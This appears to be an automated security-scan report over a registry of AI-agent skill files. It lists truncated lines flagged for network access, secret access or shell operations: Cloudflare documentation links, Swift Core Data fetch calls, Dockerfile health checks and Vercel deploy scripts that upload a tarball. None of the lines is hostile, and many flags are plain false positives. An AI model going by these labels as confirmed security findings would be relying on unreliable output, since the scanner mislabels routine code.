| Symptom or decision | Documentation and checks | |---------------------|--------------------------| | Missing binding or types | [Binding configuration](https://developers.cloudflare.com/workers-ai/configuration/bindings/index.md) and [Wo - Network accessline 6
|---------------------|--------------------------| | Missing binding or types | [Binding configuration](https://developers.cloudflare.com/workers-ai/configuration/bindings/index.md) and [Workers TypeScript](https://developers.cloudflare.com - Network accessline 7
| Missing binding or types | [Binding configuration](https://developers.cloudflare.com/workers-ai/configuration/bindings/index.md) and [Workers TypeScript](https://developers.cloudflare.com/workers/languages/typescript/index.md); check the - Network accessline 8
| Development inference fails | [Workers and Wrangler setup](https://developers.cloudflare.com/workers-ai/get-started/workers-wrangler/index.md); check account access and binding setup | - Network accessline 9
| Unknown model, invalid input, or unexpected response | Open the exact model in the [catalog](https://developers.cloudflare.com/workers-ai/models/index.md); check its schema, context window, and feature support | - Network accessline 10
| Inference error or retry decision | [Error codes and HTTP statuses](https://developers.cloudflare.com/workers-ai/platform/errors/index.md) | - Network accessline 11
| Throttling or concurrency planning | [Current limits](https://developers.cloudflare.com/workers-ai/platform/limits/index.md) | - Network accessline 12
| Usage or cost estimate | [Current pricing](https://developers.cloudflare.com/workers-ai/platform/pricing/index.md); use the selected model's billing units and expected workload | - Network accessline 13
| Old SDK examples fail | [Native binding](https://developers.cloudflare.com/workers-ai/configuration/bindings/index.md), [AI SDK](https://developers.cloudflare.com/workers-ai/configuration/ai-sdk/index.md), or [OpenAI compatibility](https:
packages/autoskills/skills-registry/cloudflare/references/workers-ai/patterns.md
- Network accessline 5
| Task | Documentation | |------|---------------| | Build retrieval with Workers AI, Vectorize, and document storage | [RAG tutorial](https://developers.cloudflare.com/workers-ai/guides/tutorials/build-a-retrieval-augmented-generation-ai/in - Network accessline 6
|------|---------------| | Build retrieval with Workers AI, Vectorize, and document storage | [RAG tutorial](https://developers.cloudflare.com/workers-ai/guides/tutorials/build-a-retrieval-augmented-generation-ai/index.md) | | Stream respon - Network accessline 7
| Build retrieval with Workers AI, Vectorize, and document storage | [RAG tutorial](https://developers.cloudflare.com/workers-ai/guides/tutorials/build-a-retrieval-augmented-generation-ai/index.md) | - Network accessline 8
| Stream responses or integrate tool calling in an SDK application | [AI SDK integration](https://developers.cloudflare.com/workers-ai/configuration/ai-sdk/index.md) | - Network accessline 9
| Constrain generated JSON | [JSON mode](https://developers.cloudflare.com/workers-ai/features/json-mode/index.md) | - Network accessline 10
| Add caching, retries, or model fallbacks | [Caching](https://developers.cloudflare.com/ai-gateway/features/caching/index.md), [request handling](https://developers.cloudflare.com/ai-gateway/configuration/request-handling/index.md), and [d
packages/autoskills/skills-registry/cloudflare/references/workflows/README.md
- Network accessline 7
- **Start a project:** [Build your first Workflow](https://developers.cloudflare.com/workflows/get-started/guide/index.md) covers scaffolding, configuration, deployment, and a first instance. - Network accessline 8
- **Design durable execution:** [Rules of Workflows](https://developers.cloudflare.com/workflows/build/rules-of-workflows/index.md) covers step boundaries, replay, state, and idempotency. - **Implement or manage an instance:** [Workers API] - Network accessline 9
- **Implement or manage an instance:** [Workers API](https://developers.cloudflare.com/workflows/build/workers-api/index.md) covers steps, instance operations, parameters, and return types. - Network accessline 10
- **Check capacity and cost:** fetch [limits](https://developers.cloudflare.com/workflows/reference/limits/index.md) and [pricing](https://developers.cloudflare.com/workflows/reference/pricing/index.md) for the target plan. - Network accessline 21
- [Durable Objects](https://developers.cloudflare.com/durable-objects/index.md) — stateful coordination - Network accessline 23
- [Workers](https://developers.cloudflare.com/workers/index.md) — application entry points that trigger instances
packages/autoskills/skills-registry/cloudflare/references/workflows/api.md
- Network accessline 5
| Task | Documentation | | --- | --- | | Implement steps; create, batch, inspect, pause, resume, restart, or terminate instances; check parameter and return types | [Workers API](https://developers.cloudflare.com/workflows/build/workers-api - Network accessline 6
| --- | --- | | Implement steps; create, batch, inspect, pause, resume, restart, or terminate instances; check parameter and return types | [Workers API](https://developers.cloudflare.com/workflows/build/workers-api/index.md) | | Access a s - Network accessline 7
| Implement steps; create, batch, inspect, pause, resume, restart, or terminate instances; check parameter and return types | [Workers API](https://developers.cloudflare.com/workflows/build/workers-api/index.md) | - Network accessline 8
| Access a step's name, occurrence, retry attempt, and resolved configuration | [Step context](https://developers.cloudflare.com/workflows/build/step-context/index.md) | - Network accessline 9
| Configure retries, backoff, timeouts, non-retryable failures, or relative/absolute sleeps | [Sleeping and retrying](https://developers.cloudflare.com/workflows/build/sleeping-and-retrying/index.md) | - Network accessline 10
| Pass initial parameters, wait for an external event, or send an event to an instance | [Events and parameters](https://developers.cloudflare.com/workflows/build/events-and-parameters/index.md) | - Network accessline 11
| Start instances from a Worker or another Workflow, or schedule execution | [Trigger Workflows](https://developers.cloudflare.com/workflows/build/trigger-workflows/index.md) | - Network accessline 12
| Trigger and manage instances from the command line | [Wrangler commands](https://developers.cloudflare.com/workflows/reference/wrangler-commands/index.md) | - Network accessline 13
| Manage Workflows over HTTP, including authentication and request bodies | [Workflows REST API](https://developers.cloudflare.com/api/resources/workflows/methods/list/index.md) |
packages/autoskills/skills-registry/cloudflare/references/workflows/configuration.md
- Network accessline 5
| Task | Documentation | | --- | --- | | Scaffold and deploy a Workflow class with its binding | [Build your first Workflow](https://developers.cloudflare.com/workflows/get-started/guide/index.md) | - Network accessline 6
| --- | --- | | Scaffold and deploy a Workflow class with its binding | [Build your first Workflow](https://developers.cloudflare.com/workflows/get-started/guide/index.md) | | Configure one or more Workflows, including a binding to a Workfl - Network accessline 7
| Scaffold and deploy a Workflow class with its binding | [Build your first Workflow](https://developers.cloudflare.com/workflows/get-started/guide/index.md) | - Network accessline 8
| Configure one or more Workflows, including a binding to a Workflow in another Worker | [Wrangler Workflows configuration](https://developers.cloudflare.com/workers/wrangler/configuration/index.md#workflows) | - Network accessline 9
| Configure storage, AI, and other resources used by steps | [Workers bindings](https://developers.cloudflare.com/workers/runtime-apis/bindings/index.md) | - Network accessline 10
| Choose step retry, backoff, timeout, and sleep behavior | [Sleeping and retrying](https://developers.cloudflare.com/workflows/build/sleeping-and-retrying/index.md) | - Network accessline 11
| Schedule instances or trigger them from another Worker | [Trigger Workflows](https://developers.cloudflare.com/workflows/build/trigger-workflows/index.md) | - Network accessline 12
| Trigger a Workflow from Pages Functions | [Call Workflows from Pages](https://developers.cloudflare.com/workflows/build/call-workflows-from-pages/index.md) | - Network accessline 13
| Develop and inspect instances locally | [Local development](https://developers.cloudflare.com/workflows/build/local-development/index.md) | - Network accessline 14
| Set resource budgets and inspect execution | [Limits](https://developers.cloudflare.com/workflows/reference/limits/index.md) and [metrics and analytics](https://developers.cloudflare.com/workflows/observability/metrics-analytics/index.md)
packages/autoskills/skills-registry/cloudflare/references/workflows/gotchas.md
- Network accessline 5
| Symptom or question | What to check | | --- | --- | | Step timeout or repeated failure | [Sleeping and retrying](https://developers.cloudflare.com/workflows/build/sleeping-and-retrying/index.md) for per-attempt timeout, retry policy, and - Network accessline 6
| --- | --- | | Step timeout or repeated failure | [Sleeping and retrying](https://developers.cloudflare.com/workflows/build/sleeping-and-retrying/index.md) for per-attempt timeout, retry policy, and non-retryable failures | | CPU exhaustio - Network accessline 7
| Step timeout or repeated failure | [Sleeping and retrying](https://developers.cloudflare.com/workflows/build/sleeping-and-retrying/index.md) for per-attempt timeout, retry policy, and non-retryable failures | - Network accessline 8
| CPU exhaustion despite a short run | [Limits](https://developers.cloudflare.com/workflows/reference/limits/index.md) for active CPU budgets; increasing an elapsed-time timeout does not increase CPU capacity | - Network accessline 9
| Missing event or event timeout | [Events and parameters](https://developers.cloudflare.com/workflows/build/events-and-parameters/index.md) for instance targeting, event type/payload requirements, and timeout handling | - Network accessline 10
| State disappears or branches change after resuming | [Rules of Workflows](https://developers.cloudflare.com/workflows/build/rules-of-workflows/index.md) for persisted step returns, deterministic names and conditionals, and awaited operati - Network accessline 11
| Duplicate charge, write, or notification | Review the destination's idempotency guarantees and [step design](./patterns.md#design-decisions); retries can repeat an external operation even when its previous attempt committed | | Instance I - Network accessline 12
| Instance ID collision or unexpected batch result | [Workers API](https://developers.cloudflare.com/workflows/build/workers-api/index.md) for creation semantics, plus [limits](https://developers.cloudflare.com/workflows/reference/limits/in - Network accessline 13
| Oversized results, queued instances, or missing historical data | [Limits](https://developers.cloudflare.com/workflows/reference/limits/index.md) for return/event sizes, concurrency, creation rates, and retention; export required long-ter - Network accessline 14
| Local-only failure or failing introspection test | [Local development](https://developers.cloudflare.com/workflows/build/local-development/index.md) and [Workflow test APIs](https://developers.cloudflare.com/workers/testing/vitest-integra - Network accessline 15
| Inspect execution and cost | [Metrics and analytics](https://developers.cloudflare.com/workflows/observability/metrics-analytics/index.md), [Wrangler commands](https://developers.cloudflare.com/workflows/reference/wrangler-commands/index.
packages/autoskills/skills-registry/cloudflare/references/workflows/patterns.md
- Network accessline 5
Read [Rules of Workflows](https://developers.cloudflare.com/workflows/build/rules-of-workflows/index.md) before choosing step boundaries or concurrency patterns. - Network accessline 15
| Task | Documentation | | --- | --- | | Process images with human approval; handle approval events and timeouts | [Human-in-the-loop image tagging](https://developers.cloudflare.com/workflows/examples/wait-for-event/index.md) | - Network accessline 16
| --- | --- | | Process images with human approval; handle approval events and timeouts | [Human-in-the-loop image tagging](https://developers.cloudflare.com/workflows/examples/wait-for-event/index.md) | | Implement a payment and notificati - Network accessline 17
| Process images with human approval; handle approval events and timeouts | [Human-in-the-loop image tagging](https://developers.cloudflare.com/workflows/examples/wait-for-event/index.md) | - Network accessline 18
| Implement a payment and notification sequence | [Pay cart and send invoice](https://developers.cloudflare.com/workflows/examples/send-invoices/index.md) | - Network accessline 19
| Export data to object storage | [Export and save D1 database](https://developers.cloudflare.com/workflows/examples/backup-d1/index.md) | - Network accessline 20
| Delay lifecycle follow-ups or retry transient failures | [Sleeping and retrying](https://developers.cloudflare.com/workflows/build/sleeping-and-retrying/index.md) | - Network accessline 21
| Schedule jobs or start child Workflows | [Trigger Workflows](https://developers.cloudflare.com/workflows/build/trigger-workflows/index.md) | - Network accessline 22
| Design parallel work, races, conditional steps, and batch creation | [Rules of Workflows](https://developers.cloudflare.com/workflows/build/rules-of-workflows/index.md) | - Network accessline 26
Fetch [Vitest setup](https://developers.cloudflare.com/workers/testing/vitest-integration/write-your-first-test/index.md) for current dependencies and configuration, then use the [Workflow test APIs](https://developers.cloudflare.com/worker
packages/autoskills/skills-registry/cloudflare/references/zaraz/README.md
- Network accessline 105
- [Zaraz Docs](https://developers.cloudflare.com/zaraz/index.md) - Network accessline 106
- [Web API](https://developers.cloudflare.com/zaraz/web-api/index.md) - Network accessline 107
- [Managed Components](https://developers.cloudflare.com/zaraz/advanced/load-custom-managed-component/index.md)
packages/autoskills/skills-registry/cloudflare/references/zaraz/patterns.md
packages/autoskills/skills-registry/composition-patterns/AGENTS.md
- Network accessline 944
1. [https://react.dev](https://react.dev) - Network accessline 945
2. [https://react.dev/learn/passing-data-deeply-with-context](https://react.dev/learn/passing-data-deeply-with-context) - Network accessline 946
3. [https://react.dev/reference/react/use](https://react.dev/reference/react/use)
packages/autoskills/skills-registry/composition-patterns/metadata.json
- Network accessline 5
"abstract": "Composition patterns for building flexible, maintainable React components. Avoid boolean prop proliferation by using compound components, lifting state, and composing internals. These patterns make codebases easier for both hum - Network accessline 6
"references": [ "https://react.dev", "https://react.dev/learn/passing-data-deeply-with-context", - Network accessline 7
"https://react.dev", - Network accessline 8
"https://react.dev/learn/passing-data-deeply-with-context", - Network accessline 9
"https://react.dev/reference/react/use"
packages/autoskills/skills-registry/composition-patterns/rules/_template.md
- Network accessline 24
Reference: [Link](https://example.com)
packages/autoskills/skills-registry/containerize-aspnetcore/SKILL.md
- Network accessline 44
3. Application URL configuration: - `[Specify ASPNETCORE_URLS, or default to "http://+:8080"]` - Network accessline 45
- `[Specify ASPNETCORE_URLS, or default to "http://+:8080"]` - Network accessline 118
- If the user does not request specific base images in the containerization settings, then the base images MUST be valid mcr.microsoft.com/dotnet images with a tag as shown in the example Dockerfile, below, or in documentation - Official - Network accessline 119
- Official Microsoft .NET images for build and runtime stages: - SDK image tags (for build stage): https://github.com/dotnet/dotnet-docker/blob/main/README.sdk.md - ASP.NET Core runtime image tags: https://github.com/dotnet/dotn - Network accessline 120
- SDK image tags (for build stage): https://github.com/dotnet/dotnet-docker/blob/main/README.sdk.md - Network accessline 121
- ASP.NET Core runtime image tags: https://github.com/dotnet/dotnet-docker/blob/main/README.aspnet.md - Network accessline 122
- .NET runtime image tags: https://github.com/dotnet/dotnet-docker/blob/main/README.runtime.md - Network accessline 162
7. Configure health checks if specified in the containerization settings: - Add HEALTHCHECK instruction to Dockerfile if health check endpoint is provided - Use curl or wget to check the health endpoint - Network accessline 163
- Add HEALTHCHECK instruction to Dockerfile if health check endpoint is provided - Use curl or wget to check the health endpoint 8. Mark tasks as completed: [ ] → [✓] - Network accessline 164
- Use curl or wget to check the health endpoint - Network accessline 281
# Install system packages if needed (uncomment and modify as needed) # RUN apt-get update && apt-get install -y \ # curl \ - Dangerous shell operationline 282
# RUN apt-get update && apt-get install -y # curl # wget # ca-certificates # libgdiplus # && rm -rf /var/lib/apt/lists/* - Network accessline 282
# RUN apt-get update && apt-get install -y # curl - Network accessline 283
# curl \ - Network accessline 284
# wget \ - Dangerous shell operationline 287
# && rm -rf /var/lib/apt/lists/* - Network accessline 302
# Set environment variables ENV ASPNETCORE_ENVIRONMENT=Production ENV ASPNETCORE_URLS=http://+:8080 - Network accessline 304
ENV ASPNETCORE_URLS=http://+:8080 - Network accessline 318
# Install curl for health checks if not already present - Dangerous shell operationline 319
RUN apt-get update && apt-get install -y curl && rm -rf /var/lib/apt/lists/* - Network accessline 319
RUN apt-get update && apt-get install -y curl && rm -rf /var/lib/apt/lists/* - Network accessline 321
# Configure health check HEALTHCHECK --interval=30s --timeout=3s --start-period=5s --retries=3 \ CMD curl -f http://localhost:8080/health || exit 1 - Network accessline 322
HEALTHCHECK --interval=30s --timeout=3s --start-period=5s --retries=3 CMD curl -f http://localhost:8080/health || exit 1 - Network accessline 323
CMD curl -f http://localhost:8080/health || exit 1 - Network accessline 357
FROM mcr.microsoft.com/dotnet/aspnet:8.0-alpine AS final # Install packages using apk RUN apk update && apk add --no-cache curl ca-certificates - Network accessline 359
RUN apk update && apk add --no-cache curl ca-certificates - Network accessline 374
FROM mcr.microsoft.com/dotnet/aspnet:8.0-azurelinux3.0 AS final # Install packages using tdnf RUN tdnf update -y && tdnf install -y curl ca-certificates && tdnf clean all - Network accessline 376
RUN tdnf update -y && tdnf install -y curl ca-certificates && tdnf clean all
packages/autoskills/skills-registry/core-data-expert/references/batch-operations.md
- Network accessline 124
// 2. Fetch and set relationships let fetchRequest = Article.fetchRequest() let articles = try context.fetch(fetchRequest) - Network accessline 125
let fetchRequest = Article.fetchRequest() let articles = try context.fetch(fetchRequest) for article in articles { - Network accessline 126
let articles = try context.fetch(fetchRequest) - Network accessline 527
// Verify let fetchRequest = Article.fetchRequest() let articles = try context.fetch(fetchRequest) - Network accessline 528
let fetchRequest = Article.fetchRequest() let articles = try context.fetch(fetchRequest) XCTAssertEqual(articles.count, 10) - Network accessline 529
let articles = try context.fetch(fetchRequest)
packages/autoskills/skills-registry/core-data-expert/references/cloudkit-integration.md
- Network accessline 195
1. Download from [Apple Developer Portal](https://developer.apple.com/bug-reporting/profiles-and-logs/)
packages/autoskills/skills-registry/core-data-expert/references/concurrency.md
- Network accessline 190
try store.read { context in let request = Article.fetchRequest() return try context.fetch(request) - Network accessline 191
let request = Article.fetchRequest() return try context.fetch(request) } - Network accessline 192
return try context.fetch(request) - Network accessline 198
try await store.performInBackground { context in let request = Article.fetchRequest() let articles = try context.fetch(request) - Network accessline 199
let request = Article.fetchRequest() let articles = try context.fetch(request) articles.forEach { context.delete($0) } - Network accessline 200
let articles = try context.fetch(request) - Network accessline 261
using request: NSFetchRequest<T> ) throws { let objects = try context.fetch(request) - Network accessline 262
) throws { let objects = try context.fetch(request) objects.forEach { context.delete($0) } - Network accessline 263
let objects = try context.fetch(request) - Network accessline 315
func fetchArticles() throws -> [Article] { let request = Article.fetchRequest() return try viewContext.fetch(request) - Network accessline 316
let request = Article.fetchRequest() return try viewContext.fetch(request) } - Network accessline 317
return try viewContext.fetch(request) - Network accessline 492
func background() async { let articles = viewContext.fetch(request) // ❌ Not on main thread - Network accessline 493
let articles = viewContext.fetch(request) // ❌ Not on main thread - Network accessline 520
For Core Data best practices, migration strategies, and advanced patterns: - [Core Data Best Practices Repository](https://github.com/avanderlee/CoreDataBestPractices) - Network accessline 521
- [Core Data Best Practices Repository](https://github.com/avanderlee/CoreDataBestPractices) - Network accessline 522
- [Swift Concurrency Course](https://www.swiftconcurrencycourse.com)
packages/autoskills/skills-registry/core-data-expert/references/fetch-requests.md
- Network accessline 8
let fetchRequest: NSFetchRequest<Article> = Article.fetchRequest() let articles = try context.fetch(fetchRequest) - Network accessline 9
let articles = try context.fetch(fetchRequest) - Network accessline 87
let objectIDs = try context.fetch(fetchRequest) as! [NSManagedObjectID] - Network accessline 378
let results = try context.fetch(fetchRequest) as! [[String: Any]] - Network accessline 408
let results = try context.fetch(fetchRequest) as! [[String: Any]] - Network accessline 437
let results = try context.fetch(fetchRequest) as! [[String: Any]] - Network accessline 526
if let existing = try? context.fetch(fetchRequest).first { - Network accessline 555
// Bad: Fetches all properties, all objects let articles = try context.fetch(Article.fetchRequest()) - Network accessline 556
let articles = try context.fetch(Article.fetchRequest()) - Network accessline 580
let fetchRequest = Article.fetchRequest() fetchRequest.relationshipKeyPathsForPrefetching = ["category"] let articles = try context.fetch(fetchRequest) - Network accessline 582
let articles = try context.fetch(fetchRequest) - Network accessline 594
let fetchRequest = Article.fetchRequest() fetchRequest.predicate = NSPredicate(format: "name == %@", name) let articles = try? context.fetch(fetchRequest) - Network accessline 595
fetchRequest.predicate = NSPredicate(format: "name == %@", name) let articles = try? context.fetch(fetchRequest) } - Network accessline 596
let articles = try? context.fetch(fetchRequest) - Network accessline 604
let fetchRequest = Article.fetchRequest() fetchRequest.predicate = NSPredicate(format: "name IN %@", names) let articles = try context.fetch(fetchRequest) - Network accessline 606
let articles = try context.fetch(fetchRequest) - Network accessline 626
let startTime = CFAbsoluteTimeGetCurrent() let articles = try context.fetch(fetchRequest) - Network accessline 627
let articles = try context.fetch(fetchRequest)
packages/autoskills/skills-registry/core-data-expert/references/migration.md
packages/autoskills/skills-registry/core-data-expert/references/performance.md
- Network accessline 55
// Fetches articles let articles = try context.fetch(Article.fetchRequest()) - Network accessline 56
let articles = try context.fetch(Article.fetchRequest()) - Network accessline 66
let fetchRequest = Article.fetchRequest() fetchRequest.relationshipKeyPathsForPrefetching = ["category"] let articles = try context.fetch(fetchRequest) - Network accessline 68
let articles = try context.fetch(fetchRequest) - Network accessline 80
// Fetches all properties of all objects let articles = try context.fetch(Article.fetchRequest()) - Network accessline 81
let articles = try context.fetch(Article.fetchRequest()) - Network accessline 95
// Loads 10,000 objects into memory let fetchRequest = Article.fetchRequest() let articles = try context.fetch(fetchRequest) - Network accessline 97
let articles = try context.fetch(fetchRequest)
packages/autoskills/skills-registry/core-data-expert/references/persistent-history.md
packages/autoskills/skills-registry/core-data-expert/references/saving.md
- Network accessline 503
// Verify saved let fetchRequest = Article.fetchRequest() let results = try context.fetch(fetchRequest) - Network accessline 504
let fetchRequest = Article.fetchRequest() let results = try context.fetch(fetchRequest) XCTAssertEqual(results.count, 1) - Network accessline 505
let results = try context.fetch(fetchRequest)
packages/autoskills/skills-registry/core-data-expert/references/testing.md
- Network accessline 97
let fetchRequest = Article.fetchRequest() let results = try context.fetch(fetchRequest) - Network accessline 98
let results = try context.fetch(fetchRequest) - Network accessline 117
let results = try context.fetch(fetchRequest) - Network accessline 137
// Verify persistence let fetchRequest = Article.fetchRequest() let results = try context.fetch(fetchRequest) - Network accessline 139
let results = try context.fetch(fetchRequest)
packages/autoskills/skills-registry/core-data-expert/references/threading.md
- Network accessline 184
backgroundContext.perform { let fetchRequest = Article.fetchRequest() guard let articles = try? backgroundContext.fetch(fetchRequest) else { - Network accessline 185
let fetchRequest = Article.fetchRequest() guard let articles = try? backgroundContext.fetch(fetchRequest) else { return - Network accessline 186
guard let articles = try? backgroundContext.fetch(fetchRequest) else { - Network accessline 369
return try await context.perform { let fetchRequest = Article.fetchRequest() return try context.fetch(fetchRequest) - Network accessline 370
let fetchRequest = Article.fetchRequest() return try context.fetch(fetchRequest) } - Network accessline 371
return try context.fetch(fetchRequest) - Network accessline 497
backgroundContext.perform { let articles = try? backgroundContext.fetch(Article.fetchRequest()) - Network accessline 498
let articles = try? backgroundContext.fetch(Article.fetchRequest()) - Network accessline 533
// Update UI on main thread backgroundContext.perform { let articles = try? backgroundContext.fetch(Article.fetchRequest()) - Network accessline 534
backgroundContext.perform { let articles = try? backgroundContext.fetch(Article.fetchRequest()) let objectIDs = articles?.map { $0.objectID } ?? [] - Network accessline 535
let articles = try? backgroundContext.fetch(Article.fetchRequest())
packages/autoskills/skills-registry/csharp-mstest/SKILL.md
- Network accessline 283
The `TestContext` class provides test run information, cancellation support, and output methods. See [TestContext documentation](https://learn.microsoft.com/dotnet/core/testing/unit-testing-mstest-writing-tests-testcontext) for complete ref - Network accessline 284
See [TestContext documentation](https://learn.microsoft.com/dotnet/core/testing/unit-testing-mstest-writing-tests-testcontext) for complete reference. - Network accessline 419
// GitHub issues (MSTest 3.8+) [TestMethod] [GitHubWorkItem("https://github.com/owner/repo/issues/42")] - Network accessline 420
[TestMethod] [GitHubWorkItem("https://github.com/owner/repo/issues/42")] public void BugFix_Issue42_IsResolved() { } - Network accessline 421
[GitHubWorkItem("https://github.com/owner/repo/issues/42")]
packages/autoskills/skills-registry/dart-best-practices/SKILL.md
packages/autoskills/skills-registry/deploy-to-vercel/SKILL.md
packages/autoskills/skills-registry/deploy-to-vercel/resources/deploy-codex.sh
- Executable scriptline 1
#!/bin/bash - Network accessline 9
DEPLOY_ENDPOINT="https://codex-deploy-skills.vercel.sh/api/deploy" - Dangerous shell operationline 175
rm -rf "$TEMP_DIR" - Access to secretsline 201
[Credential-related source omitted] - Access to secretsline 204
[Credential-related source omitted] - Network accessline 238
echo "Deploying..." >&2 RESPONSE=$(curl -s -X POST "$DEPLOY_ENDPOINT" -F "file=@$TARBALL" -F "framework=$FRAMEWORK") - Network accessline 239
RESPONSE=$(curl -s -X POST "$DEPLOY_ENDPOINT" -F "file=@$TARBALL" -F "framework=$FRAMEWORK") - Network accessline 265
while [ $ATTEMPT -lt $MAX_ATTEMPTS ]; do HTTP_STATUS=$(curl -s -o /dev/null -w "%{http_code}" "$PREVIEW_URL") - Network accessline 266
HTTP_STATUS=$(curl -s -o /dev/null -w "%{http_code}" "$PREVIEW_URL")
packages/autoskills/skills-registry/deploy-to-vercel/resources/deploy.sh
- Executable scriptline 1
#!/bin/bash - Network accessline 9
DEPLOY_ENDPOINT="https://claude-skills-deploy.vercel.com/api/deploy" - Dangerous shell operationline 175
rm -rf "$TEMP_DIR" - Access to secretsline 201
[Credential-related source omitted] - Access to secretsline 204
[Credential-related source omitted] - Network accessline 238
echo "Deploying..." >&2 RESPONSE=$(curl -s -X POST "$DEPLOY_ENDPOINT" -F "file=@$TARBALL" -F "framework=$FRAMEWORK") - Network accessline 239
RESPONSE=$(curl -s -X POST "$DEPLOY_ENDPOINT" -F "file=@$TARBALL" -F "framework=$FRAMEWORK") - Network accessline 265
while [ $ATTEMPT -lt $MAX_ATTEMPTS ]; do HTTP_STATUS=$(curl -s -o /dev/null -w "%{http_code}" "$PREVIEW_URL") - Network accessline 266
HTTP_STATUS=$(curl -s -o /dev/null -w "%{http_code}" "$PREVIEW_URL")
packages/autoskills/skills-registry/design-mobile-apps/SKILL.md
- Access to secretsline 5
[Credential-related source omitted] - Network accessline 10
[](https://sleek.design) - Network accessline 14
[sleek.design](https://sleek.design) provides a REST API at `/api/v1/*` to create projects, design screens from a brief, and fetch their HTML and renders. - Network accessline 16
**Base URL**: `https://sleek.design` - Access to secretsline 17
[Credential-related source omitted] - Network accessline 20
**Envelope**: check HTTP status first. Successful JSON wraps its payload in `data`; lists also include sibling `pagination`. Errors use top-level `code`, `status` and `message`, with optional `data.url`. Successful screenshots and share car - Network accessline 21
**Ids**: opaque 11-character tokens like `V1StGXR8Z5j`, with no type prefix. Nothing about an id says whether it names a project, screen, component, version or theme, so track each one by the response field it arrived in. **Parsing response - Network accessline 22
**Parsing responses**: write the body to a file (`curl -o run.json`) and parse the file. Piping JSON through `echo` corrupts it: zsh expands the escaped `\n` inside string values into real newlines, which makes the body invalid JSON. - Network accessline 23
**API docs**: OpenAPI spec at `https://sleek.design/api/v1/spec.json`; browsable docs at `https://sleek.design/api/v1/docs`. Fetch the spec for any contract detail not covered here. - Access to secretsline 46
[Credential-related source omitted] - Network accessline 48
1. `POST https://sleek.design/api/v1/device/start` (no auth) with body `{"source": "your-tool-slug"}`. The response contains a `verificationUrl`, a human-checkable `userCode`, a secret `deviceCode`, and a poll `interval` in seconds. - Network accessline 50
[Credential-related source omitted] - Access to secretsline 50
[Credential-related source omitted] - Network accessline 52
Fallback: send the user to **https://sleek.design/agents/setup**, which handles sign-in, plan upgrade, and key creation in one place, and ask them to paste the key back to you. Keys can also be managed at **https://sleek.design/dashboard/ap - Network accessline 54
**Plans**: free accounts can try the API with their one-time trial credits (about one design run), so a new user can see their first design before any payment decision. Sustained use requires the Pro plan or higher. This file carries no fig - Network accessline 91
"status": 403, "message": "...", "data": { "url": "https://sleek.design/..." } - Network accessline 92
"message": "...", "data": { "url": "https://sleek.design/..." } } - Network accessline 93
"data": { "url": "https://sleek.design/..." }
packages/autoskills/skills-registry/design-mobile-apps/designing.md
- Network accessline 25
**Watch it live**: runs render in the Sleek editor in real time. After sending the first message to a project, tell the user they can watch their screens being designed live in Sleek, and share the editor link: `https://sleek.design/project
packages/autoskills/skills-registry/design-mobile-apps/endpoints.md
- Access to secretsline 13
[Credential-related source omitted] - Access to secretsline 37
[Credential-related source omitted] - Access to secretsline 62
[Credential-related source omitted] - Access to secretsline 99
[Credential-related source omitted] - Access to secretsline 112
[Credential-related source omitted] - Network accessline 121
"id": "3fTkYw6RmQv", "name": "Ember Fitness", "previewImageUrls": ["https://.../screenshot.png"] - Network accessline 122
"name": "Ember Fitness", "previewImageUrls": ["https://.../screenshot.png"] } - Network accessline 123
"previewImageUrls": ["https://.../screenshot.png"] - Access to secretsline 138
[Credential-related source omitted] - Network accessline 143
"message": { "text": "Add a pricing section with three tiers" }, "source": "claude-code", "imageUrls": ["https://example.com/ref.png"], - Network accessline 144
"source": "claude-code", "imageUrls": ["https://example.com/ref.png"], "target": { "screenId": "7hSvA2kLpEr" }, - Network accessline 145
"imageUrls": ["https://example.com/ref.png"], - Access to secretsline 214
[Credential-related source omitted] - Access to secretsline 240
[Credential-related source omitted] - Access to secretsline 253
[Credential-related source omitted] - Access to secretsline 302
[Credential-related source omitted] - Network accessline 344
"deviceCode": "...", "userCode": "ABCD-1234", "verificationUrl": "https://sleek.design/...", - Network accessline 345
"userCode": "ABCD-1234", "verificationUrl": "https://sleek.design/...", "expiresIn": 900, - Network accessline 346
"verificationUrl": "https://sleek.design/...",
packages/autoskills/skills-registry/design-mobile-apps/implementing.md
- Network accessline 68
Sleek uses [Iconify](https://iconify.design) icons in the format `prefix:name` (e.g. `ph:heart-fill`, `solar:heart-bold`, `lucide:settings`). Sleek's design prompt steers toward four sets — **Phosphor** (`ph:`), **Solar** (`solar:`), **Ming - Network accessline 78
GET https://api.iconify.design/{prefix}/{name}.svg - Network accessline 81
Example: `https://api.iconify.design/solar/heart-bold.svg` - Network accessline 134
The mockup has no notch, status bar or home indicator: it renders edge to edge inside a fixed frame. On a device, an unguarded screen draws its header under the status bar and its bottom bar under the home indicator or the Android navigatio
packages/autoskills/skills-registry/design-mobile-apps/styling/nativewind.md
- Network accessline 14
Read the resolved version from the lockfile and check registry tags when installing; choose prereleases deliberately. For v5, use the matched Nativewind/`react-native-css` pair from the [current installation guide](https://www.nativewind.de - Network accessline 36
**v4** — the Babel preset, the `withNativeWind` Metro wrapper with its CSS `input`, `tailwind.config.js`, and the CSS entry imported in the root layout. Use the [v4 installation guide](https://www.nativewind.dev/docs/getting-started/install - Network accessline 51
Sleek's default web `rem` is 16px; Nativewind's native default is 14. Check the HTML's root size and align it before copying classes, or spacing and typography shrink on the device despite matching on web. V4 accepts `inlineRem: 16` in its - Network accessline 57
Before passing `className` to a third-party component such as `LinearGradient`, check whether it forwards classes to a supported primitive or needs an explicit mapping. V4 uses [cssInterop](https://www.nativewind.dev/docs/api/css-interop) w
packages/autoskills/skills-registry/design-mobile-apps/styling/uniwind.md
- Network accessline 27
Port the project's `:root` tokens into `--color-*` names in whatever shape that file actually uses. Uniwind documents first-class OKLCH support, so the `oklch(...)` values go across as they are. Uniwind publishes an agent-readable digest at
packages/autoskills/skills-registry/django-expert/references/performance-optimization.md
packages/autoskills/skills-registry/django-expert/references/production-deployment.md
- Access to secretsline 50
[Credential-related source omitted] - Access to secretsline 67
[Credential-related source omitted] - Access to secretsline 69
[Credential-related source omitted] - Access to secretsline 84
[Credential-related source omitted] - Access to secretsline 105
[Credential-related source omitted] - Access to secretsline 143
[Credential-related source omitted] - Access to secretsline 144
[Credential-related source omitted] - Access to secretsline 145
[Credential-related source omitted] - Access to secretsline 146
[Credential-related source omitted] - Access to secretsline 147
[Credential-related source omitted] - Network accessline 249
location / { proxy_pass http://127.0.0.1:8000; - Network accessline 250
proxy_pass http://127.0.0.1:8000; - Network accessline 272
# ✅ GOOD: Use CDN for static files STATIC_URL = 'https://cdn.example.com/static/' - Network accessline 273
STATIC_URL = 'https://cdn.example.com/static/' - Access to secretsline 347
